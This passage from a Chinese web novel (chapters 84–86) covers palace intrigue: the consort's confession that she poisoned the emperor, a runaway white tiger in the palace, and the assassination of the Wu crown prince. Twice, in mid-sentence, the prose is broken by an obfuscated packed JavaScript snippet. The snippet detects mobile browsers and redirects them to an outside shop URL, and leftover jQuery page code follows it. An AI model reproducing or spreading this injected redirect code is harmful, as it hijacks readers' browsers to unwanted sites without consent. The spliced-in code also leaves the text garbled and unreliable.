姜令仪记了下来,她打算把人培养好之后,玻璃坊进入正轨,就撒手不管了,要真让她一步一步扶着走,那就干脆别开了。 开什么玻璃坊挣什么钱啊,回家喂猪去吧。 这些楚怀谦不担心,反正天底下这么多人呢,想给他干活的大有人在,他们干不了,自然会有人替他干,他担心的是姜令仪的安全。 “娘,现在京城一片平静,完全是因为前一阵子处理的人太多了,而且现在正是和吴国交战的时候,恐怕要不了多久,京城这滩水又要活起来了,你出门的时候一定要带足人手,不要自己出去啊。” 姜令仪无所谓:“你爹派了人保护我的。” 楚怀谦:“娘你不知道那些人的手段有多脏,别看一个个的嘴上说着仁义道德之乎者也,他们狠起来连自己的孩子都能利用,虎毒都还不食子呢,他们比畜生还不如。” 他殷殷切切的提醒:“我爹要是在你身边,那肯定我是放心的,这不是他在边关呢吗,远水解不了近渴,你可上点心吧。” 他都不敢想,要是姜令仪真的在京城出了事,他爹会不会离开调转枪口冲着他来了,就算舍不得他这个儿子,其他人肯定好过不了,他可是楚萧啊。 姜令仪似乎在思考他这话的真假,沉思片刻,忽然作恍然大悟状,楚怀谦还以为她终于听进去了,哪成想听到她问了一句风马牛不相及的话:“胖猫呢?” 胖猫? 对啊,胖猫呢? 这次胖猫是跟着上京来的,就是他现在体格大了,不好跟着他们一起坐马车,他就是自己跟着,因为马会害怕他,胖猫也就在他们停下休息的时候,时不时的晃悠过来求摸。 姜令仪刚想起来,胖猫是不是没有跟着进城啊? 作为猫科动物,胖猫如果不想别人发现他的时候,还真的不好找到他。 倒是一直不怎么说话的于敏之每次都能找到胖猫,他有着动物一样的直觉:“胖猫进城了,也进宫了。” “进宫了?”姜令仪和楚怀谦齐声问道。 不明白他们反应为什么这么大,但于敏之还是回答了他们的问题:“跟着我们的马车一起进来的。” “胖猫真厉害啊,他居然能躲过那么多侍卫的眼睛。”楚怀谦大声赞美他家猫大哥,一脸欢快无忧无虑,还安慰姜令仪:“他那么听话,肯定不会乱跑的,我让人去找找他。” 胖猫向来好性儿,但也是时不时进山捕猎的猛兽,如果有人惹到了他,他肯定也是会发脾气的。 “来人。” 楚怀谦喊侍卫进来:“让宫女太监通知各宫,孤的爱宠丢了,最好让他们待在自己宫里,碰到孤的老虎,不许上前,直接报过来。” 一开始侍卫还以为是他的小猫小狗丢了,没想到是一只老虎,他怀疑自己听错了:“殿下,是老虎?” “没错,是通体无一丝杂色的白虎,也是上天赐予孤的祥瑞。” 自古以来都有白虎白龟这样罕见的动物,一般遇到了就会认为是上天赐福,当地的官员把他们当作祥瑞献入宫中。 侍卫高高吊起的心没有一丝放松,那是祥瑞没错,但也是一只老虎啊,之前从没有听过宫里还有一只老虎的消息,那就只可能是,这老虎从他们眼皮子底下进宫了。 苍了个天的,他为什么今天当值啊。 侍卫一脸平静,其实心里骂骂咧咧的快步走了出去,招呼兄弟们开始干活了,平静许久皇宫热闹起来了。 “这是怎么了?” 紫宸殿里,贵妃娘娘听到我们吵吵嚷嚷的声音,微微蹙起了眉,她浑身上下没有什么金贵的首饰,只有一个木簪挽起了头发,整个人却透着煌煌不可侵犯的贵气。 有机灵的小宫女出去打听了两句,进来回话:“是太子殿下满宫里找他的宠物呢。” 一边说,一边忍不住看向了大快朵颐的那只胖老虎。 贵妃和胖猫对视了一眼,沉声道:“去和太子殿下说一声吧,就说这只老虎忽然出现在了陛下身边,想来是有感而召,特来为我晋国赐福的。” 清清楚楚看到这胖老虎从狗洞里偷溜进来的宫女:“是,娘娘。” 算了,娘娘说是就是吧,反正她看不出来这被狗洞卡住的老虎有什么特别,居然讨了贵妃娘娘的欢心。 胖猫在旁若无人的吃着焦焦脆脆的小鱼干,要是有人想来摸他,他那大脑袋就抬起来,直直的盯着想要冒犯他的人,等人走了,他再埋头苦吃。 贵妃制止了想要赶他走的人,让他们离他远点:“这大猫看起来没什么恶意,想来吃完就会走了。” 结果他一盆盆的小鱼干吃下去,他还没有停下的迹象,小厨房的大厨都偷偷给大宫女塞了银子,请她帮忙说两句好话,他们这儿的小鱼干就那么一篓子,现在已经炸完了啊。 见自己盆里的小鱼干见底了,胖猫懒洋洋的拍了拍爪子,知道这里做主的是贵妃,他还心机的把盆往贵妃那里推了推:“嗷。” 小鱼干没啦,快给本大王续上。 贵妃忧郁的双眸里漾起浅浅淡淡的笑意:“去看看还有没有适合他吃的东西,再给他做一点吧。” “娘娘,这是太子的老虎,怎么无缘无故到了我们宫里?”老嬷嬷忍不住阴谋论了:“这是意指皇上,还是咱们?” 贵妃想起那个和自己谈条件的孩子,并不认为他会做这样的事情:“活着的皇上对太子更有利,他不会这么做的。” 只要事情做了,做的再怎么隐蔽,也会留下痕迹,杀君弑父,再怎么掩饰也不好听,她不认为太子会自毁长城。 老嬷嬷:“娘娘,老奴说句逾越的话,皇后娘娘的死,说到底还是跟咱们 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声音很悦耳,但是在胖猫耳朵里不亚于是一声惊雷,劈的他慌不择路的就想往外跑,跳窗户的时候,差点没有跳出去,姜令仪都能看到他毛茸茸脸上的心有余悸。 “贵妃娘娘。”看他没什么事,姜令仪转头看向端坐主位的女子,凡是见过她的人,自然也会明白这么多年的独宠不是没道理的。 她很美,美的没有一点攻击性,像是一株攀缘着男人才能生长的花,这样的美貌,让高高在上的皇帝空置后宫也理所当然,她如果生在一般的人家,绝对会是一场灾难。 贵妃朝着楚怀谦点点头:“本宫想和这位夫人聊一聊。” 楚怀谦看向姜令仪,姜令仪又看向贵妃。 三个人形成了一个环。 最后还是姜令仪率先打破了沉默:“你们两个先出去找胖猫吧,把他带回去。” 两个孩子走远,贵妃才低笑:“原来太子也会听别人的话啊。” 而且还是这么乖的样子,想来皇帝和皇后夫妻俩都没见过他们儿子有这么乖的时候,他却对一个没有血缘关系的女人言听计从,皇后估计会气死的吧。 有宫人给姜令仪搬来了椅子,她顺势坐下,为楚怀谦辩解:“他其实很乖的,就算偶尔调皮也很有分寸,从来没有让我操过心。” 这话说的让贵妃沉默了,饶是她见过许多偏心的也没想到她能偏心到这份上,“乖”这个字用来形容太子,简直荒诞的引人发笑。 贵妃没有笑,在这一刻,她才真正确认了,姜令仪和太子之间,是纯粹的感情,而不是把利益当作维系关系的纽带。 说实在的,贵妃还是有点不能接受,从小生活在皇宫里的楚怀谦,居然有一天,会真正的对一个付出真挚的感情。 要是楚萧在,他会告诉贵妃,其实还不止一个人,有好几个呢,连傻乎乎的胖猫都包括其中。 他们应该反思一下自己,而不是觉得付出真心的人像是怪物一样。 如果是人,怎么会没有真正的感情呢? 如果没有真情,那该算得上是人吗? 贵妃到底在震惊什么,姜令仪是不晓得的,但是看着这样美的一个人,眼睛里却满是忧郁的化不开的愁绪,说实话,她还挺失望的。 她想看看,如果这双眼睛变得明亮起来,她到底该有多美、多动人。 但是很显然,目前应该没有人能做到这一点,她看起来也并没有想走出来的想法,姜令仪虽然不理解她的选择,但也会尊重她。 到这时候,姜令仪其实还不太明白她为什么单独留下了自己,只是说一说楚怀谦和自己亲近?但是楚怀谦和她有什么关系呢? 贵妃也没有让她多猜,直接了当的问她:“夫人知道太子体弱吗?” 她仿佛很满意姜令仪的惊讶,继续说:“太子从小就被皇后喂了药,为了让他显得更加活泼健康,本来就早产的太子从小就开始喝药,但是太医给开的温养身体的药见效太慢了,皇后就给他喂了虎狼之药,以透支自己的身体为代价,换取表面看起来健康。” “这可是太子亲生母亲啊。”贵妃淡淡的笑着:“她为了一个不爱自己的男人,牺牲亲生孩子的健康来争宠,我不明白,她到底是怎么想的呢,夫人能不能为我解惑?” 姜令仪惊讶并不是因为她说楚怀谦体弱,他的病情她早就知道,并且在顾老爷子和灵泉水的双重作用下早就好的不能再好了,她惊讶的是贵妃居然也知道,更惊讶这是皇后造成的。 “有人以爱情为生,除却爱情,其他的亲情友情并不被他们看在眼里,所有阻挡他或她通往爱情路上的一切,都被他们视为累赘,一辈子只为爱情而生,也只为爱情而活,最终会为爱情而死。” 这种人,有一个统一的称呼,叫恋爱脑。 85. 第 85 章 85 到这里,姜令仪已经不想再跟她多聊了,比起和她聊这些无病呻吟的事情,还不如去教训教训胖猫,或者给楚萧写几页信,再跟楚怀谦聊聊天,怎么也比在这里浪费时间强。 “贵妃娘娘还有其他的事情吗?” 贵妃看起来有点失望,因为姜令仪的惊讶只是一瞬间,好像对楚怀谦身体不好的事情没有多大的感触,就这么轻描淡写的听听就过去了。 这可是太子体弱啊,而且可能都活不了太久,她真的是没有一点想法吗? 太子如果还没有亲政就体弱而亡,那大权在握的摄政王,他是会重新挑选一个幼帝作为傀儡,还是直接自己上位呢? 这样的想法是什么时候出现的,贵妃已经记不太清了,可能是从知道太子身体底子被毁掉的时候,可能是知道摄政王父亲是太子养父母的时候,也可能是看着一天天皇帝一天天躺在床上不能动弹的时候,她想问问摄政王,以后的天下,会姓楚吗? 伺候的人都出去了,不必遮遮掩掩,贵妃语言直白的令人不适:“夫人,您觉得摄政王会当皇帝吗?” 这个问题,不用楚怀谦,姜令仪就能回答:“谦儿的身体,我们会给他找大夫的,任何事情都是相生相克的,这种药既然能制出来,那也肯定有解决的办法,贵妃娘娘与其有时间想这样莫名其妙的事情,倒不如想想以后的路要如何走。” 贵妃和楚怀谦不知道达成了什么交易,皇帝现在这个样子,大概率就是贵妃做的,他们之间的爱恨情仇,姜令仪也大概能拼凑出来。 贵妃大概知道她在想什么,不禁微微一笑,坦诚道:“皇上对我的确不设防,令他中风瘫痪的药,是我亲手喂他吃下去的,他只以为是令他重振雄风的补药,哦,那几天他晚上有些力不从心,他开始老了啊,我不嫌弃他老的,但是因为他,我的孩子们都死了,他凭什么还能好好活着呢?” 姜令仪:“……” 完全不出她所料,但是好像听到了什么不该听的:“皇上……他不行了?” 贵妃一言难尽的看着她,想不明白为什么她的关注点如此奇特,片刻后才委婉道:“是力不从心。” 那不就是不行了吗! 皇帝也太惨了吧,就是拥有后宫三千,有耕不完的地,那牛不顶用也是白费啊。 她一脸唏嘘,贵妃无奈出声把她神游的三魂七魄拉回来:“夫人和摄政王感情还是很好?我记得夫人还在守孝,摄政王有没有通房小妾?” 姜令仪有些想笑,但是又觉得不太礼貌,用尽全身力气拉下了自己的嘴角:“他没有,要是有了,那我们早就和离了。” 姜令仪这个人有点感情洁癖,别说是和别人分享一个男人了,就是楚萧有过这个想法,那她都会觉得恶心。 也正是这两年多的相处中,楚萧在感情上的笨拙打动了她,渐渐走近了她的心,真正对一个人好,不用说的多么好,让她感受到诚意和安全感,那自然就水到渠成了。 所以,她是不太能理解贵妃和皇帝这样的真爱的,皇帝嘴上说着爱贵妃,把她宠成了前朝后宫的靶子,但是没有给她保护自己的能力,而且在说爱她的时候,也没有放弃去宠幸别的女人,这也让皇后对他抱有期待,认为他的心里是有自己的。 而贵妃,她对皇帝的感情就更复杂了,说恨,是有的,说爱,没有爱,哪来的恨呢? 这么多年,就算是一条狗都会有感情,皇帝真真切切宠了她那么多年,她是真的把他当夫把他当天,直到她的两个儿子都死了。 贵妃目光遥遥看向远方,回忆着开口:“我的两个皇儿很喜欢猫猫狗狗,之前怕他们玩物丧志,就一直没有同意让他们养,刚刚那只老虎,如果他们看见了,肯定会喜欢的。” 贵妃现在有一点偏执了,她固执的认为是皇帝导致了两个孩子死亡,所以就要报复他,但是看着让她想起往事的胖猫,她还是愿意给这胖老虎一点吃的,更会给他求情:“他吃的也不太多,我看见他心里欢喜,就让宫女多喂了他一点。” 这话越说越心虚,贵妃对她和楚萧的相处很感兴趣,就换了话题:“摄政王会和你闹脾气吗?” 姜令仪一直面带微笑,就算贵妃刚刚给胖猫扯了一个弥天大谎,她还是能礼貌笑着。 听到贵妃提起“摄政王”,其实她还没有太适应这个词,在她心里,还是小将军更适合楚萧,那样的意气风发和无惧无畏。 思绪游移一瞬,过了一会儿她才回答贵妃的话:“我和他自然也会闹别扭,生活里磕磕绊绊总是难免的,他不爱说话,更不会说什么情话哄我开心,我生气了也只是默默的陪着我,但是我们两个都能感受到对方的在乎,这样就行了,不是么?” 贵妃点点头,原来普通夫妻是这样相处的啊,他们会争吵,会和好,会在某一刻相视一笑,默契的明白对方的想法,会白头偕老。 然而她开口的时候,说出来的话却不是这么一回事儿:“你觉得,他会一直这样吗?你老了,容颜不在的时候,他依然会这样爱你吗?” 姜令仪摇头:“我不知道。” “不知道吗?连你们也不能确定吗?” 姜令仪笑的意味不明:“娘娘,没有人能预知未来的事情,我也不能保证十年二十年以后我们依然相爱,人的一辈子太长了,或许我们没有抵挡住其中的诱惑,两个人渐行渐远了,也有可能我们恩爱了一辈子,到老却两看相厌了,这些都有可能发生的啊。” “我控制不了未来的走向,但是,我能保证,我绝不会因为任何人失去自我。” 她从始至终都记得,她是自由的,从身体到心灵,她都应该是自由的,这一点不会因为任何人、任何事而改变。 仿佛疲惫到了极点,贵妃挥挥手:“你走吧,本宫累了。” 收拾好了自己的脆弱和颓废,她好像又变成了那个高高在上的贵妃娘娘。 姜令仪抬起眼睛看了她一眼,那浓郁的化不开的愁绪依然存在,看来今天的对话没有任何用,贵妃依然还被困在自己的牢笼里。 看了看天色,夕阳已经把天空染成了橘红色,她也该告辞了。 或许许多人觉得姜令仪太过冷漠,贵妃这样为情所困,想走却走不出来的人,难道不能帮帮她吗? 但是姜令仪想说的是,她一直秉持的都是“尊重他人命运”的原则,这不是说对别人的困境视而不见,而是对那些明知这么做是错的,但是又忍不住这样去做的人,她不知道该怎么去劝。 他们明明知道这样做是不对的啊,但是自己都控制不了自己,难道她就能改变他们了吗? 所有人都知道读书能改变命运,但是能控制住自己的玩心,安安稳稳坐下来学习的人才是少数。 那些光顾着自己去玩耍获得短暂快乐的人,她要怎么去劝呢? 她没有那么厉害的。 在即将走出房门的时候,贵妃重新开口:“还望夫人告知殿下,本宫想带着陛下去行宫养病,想来换换环境能对陛下的病有些好处。” 姜令仪一顿,脚步继续往外走:“话我会带到的。” 皇帝是好不起来了,贵妃想带着他去一个安静一点的地方,皇宫太脏了,她住在这里,脑海里无时无刻都被自己孩子的身影充斥着,这里满满都是他们的痕迹。 她想带着皇帝出去,过属于他们两个的生活,虽然他不能动了,但是也只有这样,他才真正的属于自己了。 往后余生,就让他们两个为死去的孩儿赎罪祈福吧。 这要求很合理,楚怀谦自然没有不答应的道理,但是为了符合孝道,他假模假样的拒绝了几次,贵妃情真意切的要求出去,最终为了父皇能尽快好转,他“不情不愿”的同意了。 尽管他还是太子,但是随着皇帝正式搬出皇宫,也标志着属于太子的时代正式来临了。 这都是后话,现在,太子殿下正任劳任怨的给他猫哥揉肚子呢。 另一旁,楚萧也收到了商队日夜兼程收集的物资,还有姜令仪附带的一封信。 物资没什么新奇的,大家都已经习惯了姜令仪时不时的送一些东西过来,有时候是棉衣棉服,有时候是吃的用的,还有一些数量不多的新鲜玩意儿,都被楚萧用来奖励表现优秀的士兵了。 直接让后勤接收了,楚萧拿着信回了营帐。 信是姜令仪在赶路途中写的,路途本来是枯燥的,但是在姜令仪笔下,好似一切都变得生动起来,天气很好她会很开心,阴天了温度很舒服,就算下雨,她也能自娱自乐的赏赏雨景。 她这样写:“有一只小鸟没来得及回巢,羽毛都被打湿了,我便喊它进屋躲雨,问它叫什么名字,它说叫乌鸦,所有的乌鸦都认为自己叫乌鸦吗?那他们是不是认为所有的人都叫人?这样想想,还有点可怕,万一有人惹了某种动物,他们呼朋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022301|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 引伴要来寻仇,问它谁惹了你它说是人惹了我,这不是其他人的无妄之灾了吗?” 她写的格外俏皮灵动,就算是这样听起来有些灵异的事情,楚怀谦也会忍不住随着她的担忧而担忧,万一真的遇到了,这可怎么办呢? 她就继续写了:“大部分动物的视觉和人类有异他们也听不懂我们说话,但是可以依靠声音,动作和味道来辨别一个人,不得不说,感觉这样认错的几率还蛮大的,要是有一天我无缘无故被动物寻仇,那绝对就是他们认错人了。” 楚萧觉得,她说的动物寻仇大概率是看不到的,就算没有亲眼所见,只听她身边的人描述,就知道她在动物界的人气有多高,他们喜欢她还来不及,怎么会来找她寻仇呢? 不过,话说回来,她这样好,受人和动物的喜欢也是应当的。 信的最后,还说了她打算把玻璃坊交给楚怀谦的事情,也没有询问的意思,像是分享日常生活一样,她做了什么事情都会分享给他,这也只是她日常生活中的一件事情而已。 楚萧看到了也并没有什么想法,这些都是姜令仪自己的产业,她想要给都是她的自由,看过之后楚萧就把这件事情抛到一边了,这对他的吸引力还不如姜令仪喜欢吃什么来的高。 “将军,吴国的消息。”楚云有人掀开帐帘进来,递给了他一封情报。 战场上的情报,楚云都是可以提前查阅的,看他进来时高昂的神情,想来一定是个极大的好消息,这样才能让沉稳的楚云都绷不住神色了。 打开信纸,楚萧先是快速浏览一遍,眉毛扬了起来,又一字一句读了一遍,确认自己没有看漏:“吴国太子被刺杀了?” 楚云一身黑色劲装,很快就把自己外露的情绪收回去了:“是,吴国太子之前无缘无故晕倒过一次,醒来之后好像得了癔症,一直在找一个叫‘西童’的人,不知道为什么,原来誓死追随他的人也都纷纷叛变,投入其他皇子麾下和太子作对,这次太子想来前线亲征,本来是想挽回在吴国皇帝那里跌落到底的印象,没想到半路上就被刺杀了。” 原本在吴国,太子周明昱既是嫡又是长,铁板钉钉的下一任继承人,在朝中有着说不清的支持者,皇帝也对他十分满意,朝堂上根本没有其他皇子的展示机会。 虽然谁也不清楚为什么许多大臣叛变,但是其他皇子显然很快抓住了机会,就像是闻到血腥味的鲨鱼,死死咬着太子的弱点不放,他们各显神通,试图一次性把太子踢出去。 这次刺杀,就是用来试探皇帝和大臣们的反应的,看看在他们心里,太子的地位到底如何。 太子到底如何,其实皇帝和那些大臣也不知道,他们只知道,原本对太子的满意和欣赏,现在如数转化成了愤怒,也不知道在愤怒什么,但是只要一想到太子,他们就恨不得把人撕碎,把他千刀万剐。 皇帝听说周明昱被刺杀的消息,心里瞬间涌起了一阵暴戾:“以后他的事情,不必再告知朕,不过是刺杀而已,连朕每年都会遇到很多次刺杀,他这不是没事吧,滚出去。” 伺候他的太监心惊胆战的告退出去,抹了一把汗不存在的冷汗,他是皇帝身边最得脸的太监,以前亲眼见证了皇帝对太子是多么的宠爱纵容,对比现在带着点厌恶的不耐烦,他真的不太理解,要说之前他还以为是父子俩闹别扭了,现在就完全没了这个想法,刚刚皇帝的表情,他是真的想让太子去死啊。 何至于此呢? 他们都不知道内情,原本周明昱的系统,是可以让那些心智不坚定的人不自觉的听他的话,产生极大的好感,但是系统离开之后,原本的好感加倍的变成了厌恶,这就是盗版系统的反噬了。 但是心志坚定的那些人,他们既不会因为系统的原因就欣赏他,也不会因为系统的原因就厌恶他,这些人也是现在支持太子的中坚力量。 现在太子遇刺,这些人恼怒非常,疯狗一样的开始找其他几个皇子的茬,原本匆匆形成的几个阵营乱七八糟的混战起来了。 就跟村里的大娘们打架,她拽了她一下头发,她踢了她一脚,打着打着不小心波及到了旁边的人,然后观战的人也加入了混战,最后变成了大乱斗。 和现在的吴国一模一样。 等周明昱听说吴国军队节节败退,朝堂上还在内斗的时候,一口老血喷了出来。 糊涂,真是糊涂啊。 “绾绾,你走吧。” 86. 第 86 章 86 看着吴国的乱象,周明昱终于不再抱有希望,打算安排妻子隐居去了。 他自己的身体自己心里最清楚,刺杀他的人有一个箭术高手,紧急关头他侧了一下身,这才没有当场死亡,但是箭上有毒,伤口又挨着心脏,他这几天昏迷的时间已经越来越长了。 趁着他还清醒着,总要把后事安排好。 “绾绾,我怕是不成了,今晚我就让人连夜把你送走,到时候你就在一个新地方重新开始生活,那里谁也不认识你,你想做什么就做什么,不用再像现在这样,整日跟着我担惊受怕了。” 江绾已经连续几天不眠不休的照顾他了,原本清丽的脸上有着浓浓的疲惫:“殿下是要赶我走吗?” “怎么会?”周明昱苍白着脸,费力的抬手:“我死后,你总要好好的活下去吧,我树敌太多,舍了太子妃的身份,你也能更安稳了。” 江绾把他的手放到自己的脸上,蹭了蹭,固执道:“不要,我要一直做你的太子妃,这世上唯有你是真心爱我,你走了,我还留下做什么?” “绾绾……” “不要说了。”江绾手指抵在他的唇上:“我不想听,殿下,你能把我送走,又不能逼着我活下去,你前脚赴黄泉,我马上就去追你。” 江绾这一生,只在他身上感受到了热烈而真切的爱意,不是说缺爱的人就会迫切的渴望爱吗?江绾便是如此。 从一开始只不过是想利用太子的身份跳出江家,到后来慢慢交付真心,周明昱护她宠她敬她爱她,江绾无以为报,能给他的,也只有一颗真心。 所以他要是死了,江绾根本没想着独活,她已经无法忍受不被爱意包围的生活了。 周明昱笑了起来,没想到,他来这里一遭,收获最大的不是金钱权利和地位,而是一个愿意和他生死相随的爱人。 说真的,周明昱觉得自己一直非常普通,他就是那种时常幻想着天上掉馅饼的普通人,只不过他比较专一,喜欢一个人,就认准了这个人,当得知江绾也逐渐爱上他的时候,他简直被巨大的幸福砸的晕头转向的,就连死亡都变得可爱起来了。 江绾见他不再说话,便把今日的军报拿了过来:“我为殿下读一读边关战事的情况。” 这里面的情报是有专门的人递到太子府上的,周明昱之前昏迷,醒了也没人敢在他面前提起战事,江绾知道他心里惦记着,看他精神不错,就捡着给他念一念。 念到一篇站前互骂的檄文,大意是说:“你当这个将军,简直就像是让三岁幼童和成年猛虎来搏斗,听说你家的孩子只会仗着权势欺压百姓,要不要让你儿子来战场上,看看他会不会吓到尿裤子,你这样的人当将军,不知道你们国家列代皇帝会不会半夜气的跳脚。” 其中引经据典,是一篇非常好的檄文,如果骂的不是吴国的话。 周明昱却觉得这个人的行文风格非常熟悉,像极了他不知道在哪里看过的文章。 “这是谁写的?” 江绾看了下方的署名:“别鹤先生。” 灵光一闪,周明昱想起来了,历史上的别鹤先生非常喜欢站前对骂环节,流传到了后世不少骂人的文章,周明昱曾经拜读过几篇,其阴阳怪气的程度让一众网友拍案叫绝,恨不得把他刨出来让他当自己的嘴替。 别鹤先生,这个一人可抵百万雄兵的谋士,原来他早就在楚萧的麾下了吗? 怪不得他找了很长时间,都没有找到他的踪迹,只是他始终想不明白,为什么别鹤先生隐居的地方他没有一点线索,为什么他看好的始终是楚萧? 这件事,他到死都参不透。 吴国太子被刺杀身亡的消息传到姜令仪耳中的时候,她独自一人枯坐了很久,原本小说里的承天而运的男主角,就这样落下了帷幕,而女主角,也就是他的太子妃,直接殉葬了。 倒是符合男主女的深情。 门外楚怀谦和于敏之坐在台阶上,时不时的往后瞥一眼,看看她出来没有。 于敏之扔着手里的几块石头,就跟表演杂技一样,一个接一个的循环起来,他手上的动作不停,也不妨碍他分心:“姐姐怎么不高兴了?” 楚怀谦是知道她和吴国太子之间纠葛的,敷衍道:“她太开心了吧,仇人死了,怎么也得喝两杯庆祝一下。” 于敏之被说服了。 楚怀谦偷偷翻了个白眼,上辈子在他印象里,吴国太子并没有现在这么引人注目,他就是一个非常平庸的太子,姜家虽然也败落了,但那是所有人心照不宣的联合起来把姜尚拉下了马,其中最大的推手就是吴国皇帝。 这辈子的吴国太子,显然很不一样了。 没过多久,姜令仪就收拾好情绪出来了,系统临走的时候告诉过她,男女主对这个世界根本没什么影响,小说内容也可能是那个盗版系统的盗版书。 再者,周明昱这个人,显然也不是和她同一时代的,她根本没有听说过这个朝代,但是周明昱却熟知这段历史,原本还以为是同乡,她不明白周明昱的狠辣是多久才磨炼出来的,知道不是一个地方的人之后,她狠狠的松了一口气,她是真的很害怕,以后她也会变成像周明昱这样的人。 看到两个坐在台阶上的孩子,原本心中残留的恐慌一扫而空,她真心实意的笑了起来:“你们怎么在这里,现在不是武科的时间吗?” 于敏之一下子把石头抓在了手里,先楚怀谦一步到了姜令仪面前:“姐姐,太子非要拉着我来这里等你,还说你开心的要喝酒,喝酒我们为什么要守在门口?” 迟了一步的楚怀谦咬牙,暗恨为什么没有把他的嘴缝上:“你别污蔑我,明明是你不想上课,才拉着我跑了的,现在还要把责任推在我身上,真的是太过分了。” 于敏之的眼睛一下子就睁大了,不是,他还没有见过这么睁眼说瞎话的人。 叉着腰,于敏之反驳:“我没有。” “你有。” “好了,我知道你们是担心我。”姜令仪不得不给他们两个调停,这几天她已经很熟练了:“现在,赶紧上课去。” 谁对谁错她已经不关心了,一开始她还想做一个公正的裁判,让两个原告分别说出自己告状的理由。 结果楚怀谦说:“他拿着一个磨盘大的石头砸向了我,我敏捷一闪侧身躲了过去,又飞踢一脚给他还了回去,天上正好来了一个鸟,对着他拉了屎,把他臭的趔趄的一些,磕的胳膊上有了淤青。” 于敏之说:“他打我,我就跑,他追我,我就跑的越快,然后我追上了太阳,把他忘了,他就开始哭,诶,真是拿他没办法。” 听他们两个胡咧咧了一场,并且要求姜令仪给他们主持公道,她摆出一张冷漠脸,罚他们两个一人写了十篇大字,晚饭还没吃,两个人就又开始凑在一起嘀嘀咕咕的了。 得,姜令仪也不再试图插手他们的感情,小孩子的想法,她真的弄不太懂。 赶他们去上课,两个孩子也没有反抗,一前一后的跑远了,大老远的还能听到笑声朗朗。 孩子们离开以后,姜令仪斜靠在椅子上,施施然开始翻看起了玻璃坊的进度。 她只需要把事情吩咐下去,就会有人抢着去完成,怪不得有那么多人渴望权利,的确好用。 至于人选,这几天自从知道姜令仪要把玻璃的配方给了太子之后,上早朝的时候又热闹起来了,一大堆人开始争执该让谁去管这个金母鸡。 世家、寒门、文臣、武将、勋贵、宗室各自为战,怎一个混乱字了得,最终他们达成共识,把决定权交到了姜令仪手上。 其实他们也并不是把一个玻璃坊的管理权看的有多么重要,借此机会探探姜令仪的底才是他们的目的。 楚怀谦把姜令仪保护的太好了,他们想偶遇都没有机会,这次不正是瞌睡了就来枕头吗,就让他们看看,这位摄政王妃的心里,到底是向着哪里的,但是不论她挑了谁,肯定也会得罪剩下的人,那她会如何选择呢? 姜令仪自然不会要把人都得罪了,她看着楚怀谦给他的名单,手指指向了其中的两个名字,这两个人都比较特殊。 他们一个是尚了公主不能再入朝堂的探花郎,他既是寒门,又因为尚了公主,也算是宗室一方,并且他和勋贵子弟处的关系极好,更是第一批秘密朝太子投诚的人。 还有一个是七品的小官,比较迂腐,娶了世家女,虽然是旁支,但也给了世家面子。 武将方面,姜令仪就有着最大的话语权,难道还不能代表武将一方吗? 决定好了之后,这两人的名字和生平迅速出现了各家主的案上,看以往的成绩,他们两个没有丝毫值得关注的地方,当即就有人断言:“姜氏女不必放在眼里。” 他们只以为这是姜令仪为了不得罪各方势力,才不知道从哪个旮旯角里扒出来的人,根本不知道这两个人本来就在楚怀谦的心腹名单上。 要知道,上辈子他们两个,一个是管着楚怀谦私库的钱袋子一个是上至皇帝下至县令全都喷了个遍的御史大夫,现在让他们两个去玻璃坊,只不过是让他们过个明路而已。 楚怀谦可不会让他们一直管着玻璃坊的,这不是大材小用吗。 不知道这是楚怀谦的心腹爱将,但是姜令仪对这两个人的办事能力也很认可,他们两个也可以互相监督,取长补短,不必担心有人欺上瞒下。 最后,把事办了,还几方都不得罪,姜令仪给自己点了个赞。 其实如果没有这么合适的人,她也不怕得罪谁,要说楚怀谦执政之后,最先开刀的,绝对是世家,但现在他干的事也不少了,还是应该把步子迈的稳一下。 世家,就是千千万万条吸血的蛭,从国家吸血,来喂饱自己,皇权和世家从来就是对立的,你强我便弱,你弱我便强,向来如此。 但是如果单单撇开世家也太显眼了,再加上前一阵子,楚怀谦刚刚大手一挥,同意了许多谢家人的辞职报告,谢家这第一世家已经没几个人在朝堂上了,现在肯定不是动世家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037196|130828||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的好时机。 他们孤儿寡母在这冷冰冰的京城里,无依无靠,怎么着也得等楚萧回来给他们撑腰,所以说,现在还是低调一点吧,就是不讨好他们,也不能都给得罪了。 另一边,楚怀谦正在掰着手指头算,他到底有多少天没被武师傅夸奖过了,哦,自从于敏之来了之后,夸奖这两个字就跟他无缘了。 一开始的侍卫就是在哄着他玩儿,和楚萧教他们的时候一点儿都不一样,他和姜令仪撒娇,想要一个教他真本事的师傅,姜令仪再三确定他的意愿之后,转头就把她之前的暗卫叫了过来。 之前因为保护她受伤的两个暗卫,性命虽然是保住了,但要想继续做暗卫是不可能了,就算姜令仪给他们喝了灵泉水,受的伤也不能恢复如初。 灵泉水对内伤有奇效,像是中毒暗伤能修复,但是对于皮外伤,也就是能加快愈合速度。 原本姜令仪是想着让他们由暗转明,在将军府里养老也不错,不过他们都还年轻,现在养老有点太早了,既然楚怀谦想学武功,那还有比他们两个更合适的吗? 于是两个暗卫就上京了,当了太子的私人教练。 说不放水,他们两个就真的一点水也没放,一个太子,一个王妃的弟弟,在刚一开始的时候每天都是一瘸一拐的回屋休息,后来习惯了强度才好了很多。 